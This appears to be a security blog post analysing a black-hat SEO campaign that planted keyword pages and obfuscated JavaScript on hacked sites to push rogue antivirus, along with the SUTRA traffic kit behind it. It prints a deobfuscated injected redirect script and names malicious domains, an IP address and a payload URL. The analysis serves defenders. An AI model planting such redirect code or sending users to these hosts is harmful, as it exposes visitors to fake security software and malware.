Black Hat SEO and Rogue Antivirus p.2

The silent threat: Black Hat SEO and Rogue Antivirus

The World Wide Web Consortium and Rogue AV

Having your website hacked with IFRAME injected, trojans/backdoors?

Having your pages infected with redirection to rogue antivirus/antispyware?

Having your pages replaced with World Wide Web Consortium article and some
obfuscated javascript code append to them?


This page will show you some recent research about a malware campaign which has infected thousand of websites. In this campain all of these sites have been used to distribute fake antispyware called WinWebSec or FakeSpyGuard.(Sometimes called WinWebSecurity or SystemSecurity2009 with InternetAntivirusPro)

Since July/August 2008 hundreds of thousands of pages on legitimate domains were exploited having web pages stuffed with keywords (porn, celebrities, popular snacks) uploaded to them as a means of attracting victims via search engine results. In some cases, the homepage of the compromised site is being modified, appending hidden links to the malicious web page.

All info concluded that the attack was made via stolen FTP password, on all these domains.

An alarming observation also reveal that the activity grows at an exponential rate with malware/exploit code even more sofisticated.

You can find some IPs, network, domain used, example of hacked pages/websites and other malicious code injected into these domain on the links below or on other page on this blog.

The silent threat: Black Hat SEO and Rogue AV - 1
The silent threat: Black Hat SEO and Rogue AV - 2

*********************

Screenshot below show tons of websites also used in this rogue av malware campaign but with some World Wide Web W3C pages uploaded with javascript code injected.



Source of on of these site.





In a browser.



Deobfuscation results:

window.location = encodeURI(
"http://www.onlinedetect.com/in.cgi?7&tsk=aug-task13-r86-id67-t116-hst-16&type=l&seoref=" +
encodeURIComponent(document.referrer) + "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=" +
encodeURIComponent(document.URL) + "&default_keyword=XXX");

-----------------------

The source code also reveal thousand of hacked websites.The analysis of the javascript code redirect to onlinedetect.com or some domain used in this attack.

Black Hat SEO - PDF Malware campaign

The silent threat: Black Hat SEO - PDF Malware campaign


Previously in March, Abode has released some security updates addressed to
vulnerabilities and exploits using Adobe Reader. Some links can be found below

McAfee Avert Labs: New Backdoor Attacks using PDF Documents
Trend Micro Malware Blog: Portable Document Format or Portable Malware Format?
SANS Internet Storm Center: Adobe/Acrobat 0-day in the wild?

Adobe Security Bulletin: Buffer overflow issue

Here is a complete example with sreenshots, data and analysis of a website
used in the PDF malware campaign and hosting a malicious application called SUTRA.

The application also known as "Traffic Management System" is explained by
McAfee AvertLabs on this page: Inside the malicious traffic

This cybercrime toolkit is actively used to manage traffic from compromised
websites and redirects visitors to exploits code or other malicious URLs with
fake codecs, rogue antispyware application, keyloggers, bankers trojan and many more.

We have another example of a compromised website explained here.
Screenshot of SUTRA can be found.

Now let's take a look of another website used.

The site is "salevisitor.net" 89.107.104.10
[Do not enter this site unless you know what you are doing]

The payload is located here "salevisitor.net/in.cgi?6" [Unstable - file not found at this time]

The admin page has no password on this server so you can enter and see stats like:




So now we know the IP, domain name, URLs used after redirection
but from were is coming the traffic?

Let's take a look of another folder "/memory/"

This folder has files like 1.access.log, 2.access.log, 5.access.log,
25.access.log, 70.access.log etc...

Some related topics on this blog refer to onlinedetect.com, 0day33hours.com for another malware campaign... Similars files can be found using google. here and here

2.access.log - The file contain the IP of visitors reaching infected
websites, some are in Czech Republic, Israel, Russia, Turkey etc.
The file also reveal the URL of some compromised websites
were the malicious obfuscated javascript code has been inserted.
